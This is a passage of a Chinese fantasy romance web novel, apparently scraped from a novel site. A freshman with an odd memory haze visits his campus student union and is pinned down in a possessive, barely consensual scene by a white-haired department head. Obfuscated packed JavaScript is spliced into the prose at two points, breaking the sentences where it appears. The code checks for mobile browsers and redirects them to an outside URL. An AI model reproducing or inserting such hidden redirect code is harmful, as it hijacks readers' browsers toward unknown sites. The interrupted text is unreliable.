而在白色物体的前方,也就是图片的边缘处,露出来一条匆匆忙忙的橘猫尾巴。任何见了这张图的人都能看出——假使那白色小炮弹真的是一只猫——这是一只白猫在追赶另一只橘猫。 像是担心人们的“看图说话”能力不足,帖子的楼主又夹带私货地在图片旁边补上一串字:“就在这几天,我看见这白猫追着一只橘猫打,追了有大半个校园,我好不容易才抓拍到!” 简直像个不依不饶找架打的小流氓。虞江临不禁在内心感慨。 ——当然,这种暴力小猫和他家可爱的小白猫自然没有任何关联。 “他们都在诋毁你。”虞江临皱眉,摸摸小猫看得出神的小脑袋,“你这么短的小腿,怎么可能跳那么高呢?你连我的膝盖都爬不上来。” “……”白猫默默把四只短腿都缩到肚子下,如同一只老母鸡那般窝在人类腿上,背影看上去更小了。 虞江临自顾自安慰了一番小猫,又饶有兴趣地继续浏览起帖子。 这是个投票贴,每人都有一正一负两张票,分别选出自己心目中校园内最有猫德的猫猫,和最没有猫德的坏猫。每只猫的大头照旁都能看见实时票数。 发起人名为“猫猫社”,从过往发言来看是个什么学生组织——所以这猫猫社原来不是家单纯的咖啡店? 虞江临多看了几眼“猫猫社”的猫爪头像,又把首楼每只猫猫的大头像都欣赏了一遍。 果然还是他的小白猫最可爱——虽然由于某些人的恶意诋毁,他可怜又无辜的小猫竟然排到了猫德榜最末,倒数第一! 虞江临接着又往下继续翻阅。 跟楼的讨论很是火热,某只白毛小猫更是频频被点名。 “从未见过这么凶的猫!” “长得那么仙却不让人摸,过分!” “坏猫!坏猫!知猫知面不知心!” “我奉劝那几个白猫信徒,速速改票!你们这种少数派已经被包围了!世界属于真正的好小猫!” “我每次见它时,它不是在揍其它猫,就是在和猫头鹰打架,什么叫猫届混混一哥啊。” ——猫头鹰? 虞江临心中涌起一丝淡淡的困惑,他隐隐约约觉得,猫头鹰似乎不是一种常见的生物。 可当他继续往下看,却发现没有人再继续这个话题。 仿佛猫头鹰在这校园里是和日升日落一样习以为常的自然现象,无人在意,无人提出质疑。 “猫头鹰……”虞江临低声念着这个词语。 不知什么时候,膝头的小猫已扭过身来与人类对视,那双澄澈的蓝眼是如此单纯,仿佛小猫咪的脑袋里从来装不下什么复杂的事情。 很快,虞江临的异样感也消失了。 ——就像猫咪会出现于校园一样,猫头鹰自然也是校中不可缺少的一部分,这有什么好奇怪的呢?虞江临安心地想。 【你真的安心吗?】许久未出现的幻觉又在脑海中轻响。 他又继续往下翻,津津有味旁观着学生们的讨论。 各种玩梗与耍宝层出不穷,大家叽叽喳喳,演得似真似假,仿佛真要为了一群猫猫的名誉而展开决斗。 虞江临挺喜欢这些充满生命力的活泼人类。 等翻至最末,再一刷新又冒出来一层回帖,回帖人顶着个橘子的头像:“岂止啊,这家伙还又爱吃醋又护食,啧啧。他这种绿茶猫,就是那种会在主人面前装可爱的两面派!” 再然后,虞江临就看见自己腿上安安静静的小猫,一爪子伸出猫猫拳,挠着屏幕上这颗“橘子”,看上去似乎要炸毛了。 “哎呀,你不喜欢橘子吗?放心,这不是真橘子……”虞江临笑着为小猫捏捏脑袋顺毛。 忽然,不知小猫是不是点错了什么东西,伴随着叮叮当当的声响,一只巨大的红包突然在屏幕中跳出,占据了整个手机界面。 虞江临歪着脑袋思索几秒。 他没有直接点开红包,而是注意到右下角的小问号。将其展开,便见到几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14703515|157064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排活动说明。 原来这个投票贴还设置了“抽奖”……哦,抽奖,他明白了。 虞江临在脑内浩如烟海的“常识”中找到关于抽奖的定义,随后兴致冲冲地就要打开红包。 刚要点上去,却又收回来。 他看了眼腿上不知为何仍气呼呼的小猫,勾起嘴角:“你来帮我抽,好不好呀?” 说罢,他捏起小猫的一只前爪,又俯身亲了亲这只粉粉的爪垫,随后不顾小猫直接被亲懵的死机状态,捏着猫爪敲开红包。 金光闪烁,彩带飞舞。 一等奖! 虞江临眼睛亮晶晶,开心地抱起小猫,对着这小额头献上一个吻,嘴里说着“你真棒”之类哄小孩的话,全然没发现小猫烧红的小脸——假使猫也会脸红的话。 他没有去注意一等奖究竟是什么,也并不十分感兴趣。 虞江临只是觉得——哇,他的猫猫抽到了唯一的一等奖。 . 抽奖活动上注明了领奖地址:行政楼一楼生活部。 ——生活部? 去行政楼领奖的路上,虞江临遇到了位熟人。那位名叫棠梨的学姐正抱着一大摞文件,也正巧往行政楼方向走。 他打了声招呼,便帮忙替对方分担了一部分货物。 “哦,你说猫猫社呀,这个社团的社长是生活部那位部长兼任的,他们社时不时就喜欢搞这类活动。不过生活部现在正在开会,你可能需要等一会儿啦。在那之前也可以跟我到办公室来喝会儿茶。” “听起来这位部长很喜欢猫。” “也许吧……不过他的存在感很低,大家都不太能记住他的名字和样貌。比如现在,你看,我就又忘了生活部那位部长叫什么了。”棠梨心大地笑了笑,丝毫没觉得有哪里不对。 走上几步宽阔台阶,穿过一面自动玻璃门,便是开阔的大厅与中央唯一的电梯。 虞江临跟随棠梨乘电梯来到七楼,出了电梯便看见走廊上唯一一扇门,门旁挂着“主席办公室”的牌子。 除了这扇门以及脚下的地毯,昏暗的走廊上空无一物,连盏灯也没有。 推开门,入目首先是前方巨大的落地窗,从左横贯至右,可将校园中央的广场一览无遗。窗前则摆着张黑棕色的巨大办公桌,桌面光滑如镜,没有囤积什么杂物。 房间内其余则是些常见的摆件,资料柜,写字台,茶几,沙发,盆景,饮水机……规规矩矩,窗明几净,只是都太过正式,太过光秃,完全看不出多少生活痕迹。 ——除了落地窗前某样明显不该存在于此的东西。 虞江临沉默了会儿,把注意力从“某样东西”上移开。 见棠梨进门便朝着那张巨大办公桌走去,他又问:“棠梨学姐是学生会主席?” 棠梨摇摇头:“戚缘是主席,我和谢金平常会来他的办公室帮忙。” 说着,这位学姐又不满道:“不过戚缘这家伙总是不干正事,活都是我们底下几个部门部长在做。” 虞江临更加好奇了:“既然如此,为什么当初戚缘学长会成为主席呢?” “为什么呢……”棠梨正专注于将刚搬来的文件分类,随口答道,“也许是因为校长先生私下里最喜欢他了吧。” ——学姐似乎随口说出了什么很恐怖的话。 虞江临在自己的“常识”中扒拉来扒拉去,找到了诸如“师生恋”、“职场潜规则”、“公权私用”之类的不妙词语。 他缓缓皱起眉。 8. 学生会 虞江临坐在待客小沙发上,端着杯茶酝酿一会儿,终于组织好语言。 他问:“您说的这位‘校长’……年龄多大了?” “你说校长先生的年龄啊……”棠梨坐在办公桌前整理着文件,似乎仍旧没把这个话题放在心上,随随便便继续回答着,“肯定要比我们大得多,但没有谁知道他具体活了多久。” ——还是个老头子。 虞江临的目光更为凝重了。 他环视这间办公室一圈,空荡荡,冷清清,看不出什么来——除了窗边搭造的一座豪华猫爬架套装。 ……所以,为什么这里会有猫爬架? 虞江临又低头默默抿了口茶水。 疑似公权私用的失格校长,不干事的学生会主席,在学生会办公室公然建造猫爬架的部门部长……这所学校似乎过于潦草了点。 那道声音又在脑海里低语:【你当初为什么会来到这所学校?】 望着杯中茶水自己的倒影,虞江临忽然觉得一阵晕眩,一股没来由的不真实感从脚底攀升,要淹没脑海。 恍惚中,他看见眼前一只白色的山竹果肉在晃动。 不,那不是山竹,那是一只白胖胖的猫爪子,他曾经常在某些狸花猫身上见到。 “江临同学?”狸花猫问。 虞江临眨眨眼睛。 山竹猫爪与狸花猫的幻觉瞬间都消失了,只剩下一位长发齐腰的小姑娘站在自己身前,关切地挥手。 虞江临好像这时候才看清这位棠梨学姐的样貌。对方一头棕色长发梳得整齐,两侧麻花辫在脑后扎成结垂下。同某个一头杂乱黄毛的学长一样,他们都有着双乌黑发亮的眼睛。 “我刚才一直叫你,你都没有听见。”棠梨叹了口气,转而笑道,“现在的新生刚开学就这么劳累吗?” 虞江临想了想说:“这几天总是有些犯困,脑袋也昏昏沉沉,也许是因为感冒?” “哎呀,那确实得注意。不过很快就是新生军训了,你们正好可以趁这段时间多晒晒太阳,强健体魄。”棠梨坐到了对面的沙发上。 “……军训?”虞江临下意识复述了一遍词语。 “不要告诉我,你们这些新生又不看《新生手册》。”棠梨伸出根手指做出一副生气的样子,又笑起来,“《新生手册》可是非常重要的东西,一字一句都是我们纪律部的心血呢。” 虞江临坐在沙发上,不动声色回忆。他入学时有收到新生手册吗?有?还是没有? ……他是什么时候入学的? 虞江临捏了捏脸颊,让自己清醒一点。他的记性这阵子总是时好时坏,仿佛还没睡醒,晕晕乎乎。 突然一阵铃声响起,他望见那位棠梨学姐立即站起来,快步走到办公桌接听。方才和他笑着闲聊的学姐,声音变得冷静而严肃。 似乎是学生会的公事,虞江临觉得自己不便细听,每一句话却都落到他耳中。 “军训还是照常……嗯,体育部那边说是人手不够,还需要你们部门调一些成员帮忙……具体的细节你当面找他商量吧……监控的事情已经在跟进……” 棠梨这通电话聊了很长,期间似乎转接了不同人。 听着听着,虞江临的目光变得困惑起来:怎么感觉这个学生会的职责范围,涵盖了这所学校每个学生的方方面面? 等棠梨终于接完电话,虞江临于是问出了口。 学姐也爽快回答了他,只是答案令他有些惊讶。 对方仿佛站于某个庄严的宣誓会场,右手抚于胸前心脏位置,目光虔诚,语气坚定:“学生会的职责,是守护好这座校园,守护好校园内每一个学生,让大家尽可能地顺利毕业。无论发生什么,我们都要永远牢记我们的使命。” ——永远。 虞江临把这个不同寻常的词语在内心加重念了一遍。 “直到你们自己毕业?”他问起所谓永远的定义。 棠梨眼中竟露出些微迷茫,就仿佛她从未思考过这件事一般。 茫然中,她复述起虞江临的话:“……直到我们毕业。” 虞江临莫名觉得这个话题有些沉重,或许因为毕业总意味着分别。 【你知道,他们不会的。】 他觉得自己应当再好奇些什么,比如当这届学生会毕业后,下一届成员的任命方式;再比如若是学生会打理好了一切,那么校园内的教职工们还需要做什么…… 但这些想法哪怕只是刚刚冒头,便被某种神秘的力量掐灭。 虞江临张了张口,却发现自己无话可说,哪怕他总觉得自己原本是想要说些什么的。 兜兜转转他又问回了校园猫猫社。 “猫猫社具体是做什么的呢?”虞江临问。 “当然是一切和猫猫有关的活动。”棠梨不假思索回答,“帮助学生们和校园内的猫猫和谐共处,给予猫猫们更好的生活环境,关心猫猫们的心理健康……学生会有不少成员都是猫猫社的一员呢。” 听着听着,虞江临竟然也想加入这个组织了。 他又问:“学姐您知道最近论坛上的猫德评选吗?” “当然,校园内任何活动,不管大的小的都要提前向主席办公室报告。”对方回答得很快。 “那学姐您最喜……” “狸花猫。”这次甚至不等虞江临说完,棠梨便斩钉截铁地回答。 方才热情开朗的学姐,此刻认真得如同上了战场,誓要为某种骄傲而拼命。 “橘猫是世界上一种只会浪费伙食的麻烦存在,白猫则是又凶又爱向主人装可怜的邪恶小东西。”棠梨一字一句说着,仿佛公布着什么世间真理,“江临同学你要记住,只有狸花猫才是这世上最温柔的好猫哦。” 这通霸道的“猫猫毛色主义论”令虞江临笑弯了眼。眼前仿佛出现了一个扎着棕发羊角辫的小姑娘,蹦蹦跳跳来到大人的眼前讨要夸奖。 他没觉得这通联想有何不妥,只哄孩子般附和道:“好,好,狸花猫是世界上最温柔的好猫。” 说完,虞江临发现棠梨学姐没有接话,只是怔怔望着他看。 室内一时很静。 “怎么了?”虞江临问。 “……不,没什么。”棠梨揉了揉眼角,很快从那阵恍惚中醒来,又看了看墙上的钟表,“时间也差不多了,这会儿生活部应该已经开完会,江临同学可以去一楼找他们啦。” . 虞江临站在电梯中,在他面前是两条竖排并列的按钮。 左边一条是单数层,分别是一层,三层,五层。 右边一条是双数层,分别是二层,四层,六层。 最上面一个按钮居中,便是主席办公室所在的七层。 【这栋行政楼只有七层吗?】 虞江临脑海中又一次无端响起某道声音,他垂下眼眸,手掌轻轻覆盖一层的按钮,却没有立即按下去。 闭上眼睛,漆黑中眼前再现着方才进入建筑物前的场景;他看见了一栋楼,每层都有一面开阔地落地横窗;他从下往上一层层数着窗户的数量;他的指尖在一个个按钮上虚虚划过去。 ——八层。 睁开眼睛,虞江临看见自己的手指停留在了七层按钮的上方,这里一片空白,什么也没有。但虞江临确信,他来时在外面见到了第八层窗。 也许需要走楼梯才能进入八层。他想。 这并不是什么稀罕事。 虞江临摁下了一层按钮,等待电梯缓缓下行。 头顶上的屏幕从“七”变成“六”,又变成“五”,直至变成“四”,相同的时间间隔内却没再次变化。 电梯停在了四层。 门徐徐打开。 一名戴着黑边眼镜框的学生走进来。对方一手在腰间夹着个硬皮笔记本,另一手提着个轻巧的电脑包,一副生人勿近的冷酷样子。 令虞江临感到意外的是,这位看起来不算好相处的学生,竟主动朝他点了点头,语气颇为礼貌:“您好。” “您好。”虞江临微笑着回应。 随后他们便各自在电梯中站立,虞江临看见对方摁下了二层的按钮。 电梯门关闭前,他看见外面墙上挂着的巨大标牌:学习部。 给他留下深刻印象的,是墙壁上挂着的一张张写满日程事项的小黑板,以及各种做了记号的便利签与日历,满满当当,却又不显杂乱。 到了二层,电梯再度打开。 这一次,虞江临看见了另一个标牌:体育部。 与整洁的学习部不同,体育部的走廊墙上,则是歪歪斜斜贴了一张张海报,似乎是学生们手绘的。虞江临粗略扫了一眼,分别是各类运动的科普,以及各种锻炼活动的宣传广告。 墙角则堆满了纸箱与铁丝网桶,里面乱七八糟盛着运动器械,似乎是使用完后随手放的。虽然没有刻意分类,但倒是十分整洁,显示出使用者们的爱惜。 虞江临看见面前的同学小幅度皱了皱眉,又见对方用手指向上拨了拨镜框鼻托。他猜测这人或许有某些强迫症。 呼。虞江临无声笑了笑。 “再见。”又一次,在虞江临意料之外的情况下,黑框眼镜同学以严肃又认真的表情,朝他告别。 虞江临着实觉得这位同学有意思极了,他笑得更灿烂:“再见。” 等黑框眼镜同学彻底从视野中消失,电梯关门的这一会儿功夫,虞江临把这栋楼已知的几层在心中默念了一遍。 共有八层,一层是生活部,二层是体育部,四层是学习部,七层是主席办公室。这么一看,这栋楼似乎完全是学生会的领地。 七层就已经是主席办公室了,那么八层会是什么? 虞江临有些好奇。 到了一层,虞江临迎着“生活部”的标牌,走出电梯。 他站在狭长的走廊上,入目是一派绿意盎然的田园风光,竟一时间以为自己到了户外。 ——这风格和猫猫社的咖啡店倒是如出一辙。 虞江临站定顿了顿。 他扭头望向身后,看见的仍是充满科技气息的冰冷电梯门。只是门旁被放置有高高低低的花架装饰,旁边还有一只高脚手编花篮。 虞江临将双手背在身后,颇为感兴趣地探过去脑袋。他看见花篮里被用手帕悉心分成了三格,分别放有一沓干净手帕与湿纸巾,一大包创口贴与应急绷带,以及被用塑料袋密封好的别针、纽扣、橡胶圈。 花篮上面插着张小卡片:爱心花篮,请自行取用。 卡片的右下角则落款着“生活部”的印章。 虞江临想起来,似乎校内每栋楼的入口处都见过这种高脚花篮。 他这才意识到这些花篮的用意与来源。 一种奇妙的念头在脑海中浮现:虞江临莫名觉得,这花篮里的“小物品”也许拥有某些不寻常的使用方式。 他多看了几眼,但并未伸手触碰,只是转回身。 如今仔细观察,才发现墙边这些花株全被精心栽培于花盆与花架中,彩纸与塑料编织而成的小鸟与蝴蝶穿插期间。一段普普通通的走廊,被用心装点成了一座可爱的微型花园。 生活部……确实很有生活气息。虞江临想。 他望向走廊左边,那里只有一扇门,上面挂着“生活部办公室”的牌子。 他望向走廊右边,则是一截狭长的走廊,随着鲜花向前延伸,间隔着同样几扇门,尽头是一面明亮的方形窗。 虞江临没有选择直接敲响左边的房门,而是踱步朝右边走去。他看见每个房门都挂有门牌:“生活部·甲组”,“生活部·乙组”,“生活部·丙组”…… 直到走廊的最末,他停下脚步。看见窗边放置有一只水箱。箱内水流清澈,造景精致,透过窗外阳光清晰可见箱内游动的一条……木头小鱼。 那木头做成的胖头小鱼,睁着双黑白分明的死鱼眼睛,随着水流的摆动而晃动。 ——其实还挺精致,但越精致便越是显得那颜料涂抹出的目光呆滞而诡异。 虞江临终于没忍住笑出声。 他笑出了这第一声,便也忍不住笑 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虞江临后知后觉意识到,这个组织名字念出口还挺让人不好意思的。 他在其他人面前说时怎么不觉得? “这周的论坛账号由甲组学生运营,出门第一个房间就是。”对方倒是回答得很干脆。 “好的,谢谢您!不好意思打扰了。” 虞江临转身就要走,却被毫无预料地拉住手腕。 他茫然扭头,见白发的学生直直盯着他看。 那双眼睛里没有什么情绪——这样特别的眼神似乎在哪里见过,虞江临却无法回忆起来。 力气有点大。他想。 然后他们就这么僵持地站着,谁也没说话,仿佛在玩木头人游戏。 对方掌心间冰凉的温度仿佛都一点点渗入到他的肌肤里,虞江临却奇怪地觉得肌肤相亲处反常地有些躁意。 过了好一会儿,对方才不慌不忙开口:“才刚刚开学,生活部负责采购的同学还没准备齐全,他们也许没法立即给你奖品。” 虞江临直觉认为这句话不大可信,像是什么临时编织的拙劣借口。 不过他对奖品也没那么大欲望,正要点头说就此离开,没想到对方却话锋一转,语速快了许多。 “我这里有自己刚烤好的饼干,可以作为奖品给你,要么?” “要!”虞江临答应得更快。 虞江临对食物没有太多偏爱,他却觉得开心。他不觉得一块热腾腾的饼干有什么特别之处,但不知为何就是觉得开心极了。 同样的,他感觉对面那双漂亮的蓝眼睛似乎也愉快起来,仿佛在与他同乐。 虞江临被邀请到沙发上坐下。除了进门正对面都有一扇巨大的落地横窗,生活部这边与主席办公室的布置很是不同。 他环顾一圈,入目所及是烤箱,煎锅,冰淇淋机,烧烤架,吧台,缝纫机,带有格网和标尺的工作台,堆满瓶瓶罐罐的柜台,与挂满各种修理器械的墙壁。 除了门边这块巴掌大的休息区,这间办公室简直没有落脚的地方,每个小角落都被划分成一个个工作区。 嗯,生活部真的……是不是过于有生活气息了? 那位白发的同学很快便端来一盘金黄的小饼干。盘子没什么特别装饰,通体瓷白,倒是前方突出来两个尖角,像是猫咪的耳朵。 白瓷盘上不多不少刚好摆下六枚饼干。饼干圆圆厚厚,香气扑鼻,虞江临一见那饼干的模样,便禁不住勾起嘴角。 他戴上盘中的手套,捏起一块仔细欣赏。正面看是圆圆滚滚的可爱猫头,反面看就是鼓鼓囊囊的猫爪,放在手心里带着恰到好处的温暖,令人觉得吃了可惜。 饼干的制作者似乎看出了他的为难,适时开口:“你要是喜欢,随时可以来我的办公室做客。” “这样好吗?”虞江临说出口的词扭扭捏捏,他本人却难掩那股子要溢出来的欢快。 “你也可以把这当做一等奖的一部分。”白发的学生贴心回答。 虞江临也就不再装模作样,开开心心地享受起饼干来。 咔擦咔擦的细碎声音在房间内响起,拥有琥珀色眼瞳的人吃得很虔诚。他细细品味着口腔与舌尖的每一丝醇香,仿佛在用他那向来引以为傲最近却不知为何变得不可靠的记性,来铭记这份珍贵的艺术品。 白发的人只是静静看着他,并适时倒来一杯花茶解腻。 【你对吃食向来没什么特殊的喜好。】 【只是会觉得,普普通通的食材在不同的巧手与心灵中,便能被幻化为各种各样不同的复杂食物,实在太过神奇,也太过美丽。】 【就像欣赏一株花,欣赏一片云,欣赏一座建筑,欣赏一个人类……又或是欣赏一只猫。】 “您是生活部的部长?”吃完一盘所有饼干,虞江临慢慢饮着杯中剩下的一半花茶。很清谈,搭配热乎乎的饼干实在正好。 “嗯。”对方点头。 虞江临捧着花茶,一边小口品着,一边毫不避让地望着对面瞧。 他总觉得在哪里见过这白毛蓝眼的搭配…… ……啊。 虞江临终于想起来在哪里见过了。 他在心里面组织了下语言,便把茶杯放回到盘子里。 “是这样的,关于论坛上的投票贴,我有一件很重要的事情要告诉您……我有一只很喜欢的猫,它似乎受到了不公正的对待,很多学生在那个帖子里诋毁它。”他说着说着微微蹙起眉。 “什么样的猫?” “是一只白猫,一只很漂亮很可爱的小白猫,它有一条特别大的蓬松尾巴,还有一双亮晶晶的蓝色眼睛。”虞江临说着说着,便用手认真比划起猫咪的身形,“您对它有印象吗?” “不知道,不认识,没印象。”白毛蓝眼的生活部部长脸不红心不跳地否认。 9. 雷区 白毛蓝眼的生活部部长声称自己并不认识某只白毛蓝眼的小猫。 他顿了一下,又补充道:“不过我会告诉社团成员,让他们在运营账号时注意维护每只猫的形象。” “谢谢您!”虞江临真诚地笑了。 他又随口聊起些别的,话题延伸到生活部风格独特的走廊:“您很喜欢这种风格的装饰吗?我觉得很可爱。” “谈不上喜欢。只是总有些人喜欢这种可爱的小东西。”生活部部长语气淡淡。 【其实你也并不算喜欢,真要说起来你更倾向于简单些的风格。】 【只是觉得可爱的小东西们生活在这样可爱的环境里,看起来便会愈加可爱。】 【你养着它们,就像孩子玩着过家家的游戏。】 “说起来,刚才有一件事让我很困惑。为什么水箱里养着的是条木头小鱼?”虞江临好奇问。 生活部部长于是又沉默地盯着面前的学弟。 虞江临便也微笑着回以温和的目光,大大方方将自己展示给对方看。 ——这位学长似乎不仅话少,反应还总是有些慢半拍。虞江临稍有些同情。 “你知道木头鱼的故事吗?”终于,学长说话了。 “不知道,不过我想听。”虞江临很好地接上话茬,他向来爱听各种各样的有趣故事。 这回,虞江临并没有等待多久。 “曾有个人,在他生命中某个短暂的片段,喜欢上给猫做木雕的玩具。他说猫都是喜欢鱼的,所以他雕了很多鱼形状的玩具。猫相信了,将那些木头鱼珍藏起来。” “真是一只可爱的小猫咪!后来呢?”虞江临不吝啬夸奖着,接着又问起下文。 “……后来,猫发现了真相。”生活部部长不知为何有些不自在地移开目光,“原来那人只是对木雕这种技术感到好奇;那人好奇,于是去向木雕师傅拜师学艺;那人练习木雕,于是雕出了很多练习品。” “木雕呀……”虞江临觉得这种手工活确实很有意思,他有些心痒竟也想去学学看了。 不过此时还是满怀着对故事接下来走向的好奇,继续问:“后来呢?” “一如既往,那人做出的作品是如此耀眼,人们称赞那是大师的杰作,是不朽的天工,要抛掷千金只为得到——哪怕这位神秘的雕刻大师从来只爱雕鱼。” “一生只雕鱼的木雕大师……感觉好有趣,我也好想和他见见面,认识认识。”虞江临微微前倾身子,阳光照耀下,琥珀色的眼瞳因兴奋而闪烁着近乎金色的微光,“后来呢?这位雕刻大师有卖掉他的作品吗?” 生活部部长与那双灿烂的眼瞳对视,平静说道:“一件也没有卖。那人随手便将那些木头都送给了猫,又骗猫说是专门给它做的玩具……那人就是这样的花心,而又随心所欲。” “听起来会是个令猫伤心的故事。那后来呢?”虞江临的声调低了些许。 “后来,那人走了,那些玩具也不见了。”仿佛是担心听众又要跃跃欲试地来一句“后来呢”,故事的讲述者冷漠说道,“这之后,再没有后来了。” 虞江临遗憾闭上了嘴,并吞下了本要说出口的“后来呢”。 他往后靠在沙发上,小声说道:“如果只是为了练习,为什么要专门雕那么多鱼呢?” 生活部部长不假思索回答:“那人只是想要顺手逗猫而已。” “也就是说,猫的主人为了那只猫,而雕了许许多多的鱼……真是一只受到偏爱的小猫呀。”虞江临又笑起来。 “……” 【你踩雷了。】 虞江临很快就笑不出来了。 他左看右看,发觉办公室内的温度陡然降低,窗外方才还阳光明媚的天空,此刻……等等,什么时候窗帘拉上了? 巨大的落地窗被一截漆黑的幕布严严实实遮掩,室内只有吧台上的悬挂小吊灯微微亮着冷色的光。就像是夜晚天空上凄惨缀着的那一两颗星,比起照明作用更适合用来渲染孤独与恐惧。 仿佛就在意识到房间内如此昏暗的那一瞬间,房间才咔擦一下陷入昏暗而沉寂的世界。 虞江临坐在沙发上,他看不清对面那位学长的面容。 那张白色的口罩,在这种能见度下仿佛也染上了漆黑。 自己好像在哪里见过黑口罩……虞江临这会儿走神地想着。 于是,他完全没注意到身旁人的逼近。 等回过神来,虞江临发现自己被压倒在沙发上,对方冰凉的发丝垂在他的脸颊与脖颈。他真的挺怕痒的,于是有些难受地扭了扭身体,想要躲开。 这动作仿佛是一种挑衅,刺痛了某些个别人敏感而脆弱的心。 “你说……偏爱?”伏在学弟身上的某个学长,声音如幽灵般空洞。 “抱歉,你是不喜欢这个词吗?”虞江临温声反问。 他觉得自己大概是无意踩重了对方神经上某些来自于过去的阴影,于是认为自己有安抚的责任。 “是的……那就是偏爱……他是偏爱我的……”上方的阴影兀自呢喃,似乎完全听不到外界的声音,沉浸在自己的小世界里。 像是那些走火入魔、狼狈败于自己手中、死到临头还歇斯底里的……虞江临飘渺延伸的思绪被几滴水打断,他瞬间僵硬了。 有人哭了。他意识到。 “无论发生什么,他都会偏爱我……不,他是个随心所欲的骗子……他不会再……不,我没有做错……” 虞江临静静倾听着,虽然他完全听不懂这些破碎话语的含义。 不过他还是伸出手,摩挲着抚上对方的脸,轻轻擦干那一点泪水。 【你总会心疼他。】 “我只是……我仍然是他心目中那个乖孩子……我是个好孩子,对吗?” 漆黑中,虞江临的手被牢牢反扣住,不容挣扎。 ——那力道是真的太大了。 “好孩子应该得到奖励,对吗?”与那可怕禁锢截然相反,几乎厮磨于虞江临耳畔的声音却很软,很是委屈,听起来令人心疼。 ……至少能让虞江临心疼。 有人把脸埋进虞江临的颈窝,有人咬起虞江临裸露在外的肌肤,有人将虞江临的另一只手也一并抓来,两只手都扣到头顶。 墨色与雪色的发丝含混不清地纠缠在一起,空气中的味道一时暧昧而危险。紧闭的房间内,是连向外呼救的可能也没有的,更别提会不会出现什么不看气氛、专程来打搅好事的搅屎棍。 这是一间幽暗的密室,门窗早已在神不知鬼觉的情况下悄然落锁,亮堂堂的日光也被厚重而严密的漆黑床帘阻挡于外……很适合做一些坏事。 虞江临觉得自己的身体好似正在融化,被揉进另一个冰冷而滚烫的身躯中,每寸肌肤都遭受着某种亲昵而痴迷的舔舐。 鼻尖满是另一个人的味道,只要呼吸就离不开这份气息,就像鱼离不开水。他的气息被不容置疑地裹挟进另一人的吐息中,不得逃脱。 那是一种冰冷的无色无味的东西,没有实体,没有画面。虞江临却觉得好生熟悉,那将他压在身下的苍白的影子,竟给他一种宁静的舒适。像是冬日的炉火,像是细细烹调的羹汤……像是某种可以抱在怀中的、柔软的小东西。 虞江临觉得脑海很是混乱,他觉得此刻自己的五感也同样混乱。所有的东西都混杂到一起,竟然分不清究竟哪些荒谬得更胜一步。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14703517|157064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虞江临只是隐隐约约觉得自己该做些什么,或是说些什么——毕竟身上的小家伙看起来太过可怜。 那张一贯优雅的面颊上,竟渐渐熏染出某种潮红的热意——说实在,这堪称奇迹,某个家伙几乎要做到了这世上曾无人达成的某样奇迹。 虞江临却好似终于抓住了脑海中的什么东西,他这时候声若蚊呐、迷迷糊糊地小声问:“要不要我也给你雕一条木头小鱼?不过我不能保证雕出来是否好看。” 他其实已神智不算清晰了。某个总爱装可怜的家伙,若是继续这么可怜兮兮地索求起来,虞江临大概都会愿意给的。 可这一瞬,虞江临话音刚落的一瞬,缠在他身上的阴影确实地不动了。 良久才缓缓突出一个字:“……好。” 【而你也总知道该如何哄他。】 虞江临眨眨眼睛。 他发觉不知何时身旁又恢复了宜人的温度,窗外明媚的日光快活地喷洒于室内红棕地板上。 他端坐于沙发上,对面是好心为他讲故事的生活部部长。 白发的部长衣冠整洁,神色淡淡,丝毫看不出先前偏执的一面。 ……刚才发生了什么? 哦,想起来了,这位初次见面的学长为他端来了美味的小饼干,又给他讲了个有关“猫咪,主人,木雕和小鱼”的故事,而他则说要为这位好心学长雕一只木头鱼。 【你又闭上眼睛自欺欺人了。】 . 送走前来拜访的小学弟后,白发的生活部部长便坐回到小沙发上,眼睛一眨不眨盯着手中漂亮的木头小鱼看。 那真是一件十分精巧的木雕,恐怕唯有历史上那位神秘的木雕大师能与之相比。 一阵敲门声打乱了他愉快的独处。 他板着张谁看都知道不爽的冰块脸,推开门。 门外站着个新生,对方挠挠头,兴奋而不好意思地说:“学长您好,我中了论坛那个投票贴里的一等……” “旁边第一个房间,找甲组组长。”他面无表情打断对方的话,“还有什么问题吗?” “……没有了没有了!”愣头愣脑的新生慌忙摇摇头,便顶着令他压力山大的目光敲隔壁房门,又一股脑钻进隔壁房间去。 等目送完不速之客消失在视野里,这位部长才关上门,坐回到他的小沙发上。 他继续盯着手中的小木雕瞧,谁也看不懂这白口罩下的心思。 忽然,这位部长又站起来。 他打开办公室的门,走出办公室一直走到长廊的最末,那里有只水箱,箱内静静漂浮着一只小鱼——是他亲自雕出的小鱼。 他刚把那人新送的礼物放入水箱中,便有一阵特殊的电话铃声响起。 “滴滴。” 仿佛被这突如其来的响动惊醒,垂在腿侧的指尖轻颤。他没有立即接电话,而是缓缓摸上了脸上那纯白的口罩。 只眨眼功夫,纯白的口罩便变为了黑色。 与此同时,那双蓝色的眼睛似乎都随着口罩的转变,而多了几分清明,几分冷酷。 他从口袋中拿出电话接听,屏幕上来电显示:卫生部。 “报告主席,卫生部侦查小组同一时间目击到两只猫头鹰。” 他仍垂眸盯着水箱。 两只木雕的小鱼漂在一块,鱼头碰鱼头,尾巴并尾巴。阳光从水箱上的四方窗投射进来,将箱内澄净的蓝色世界染上暖意。 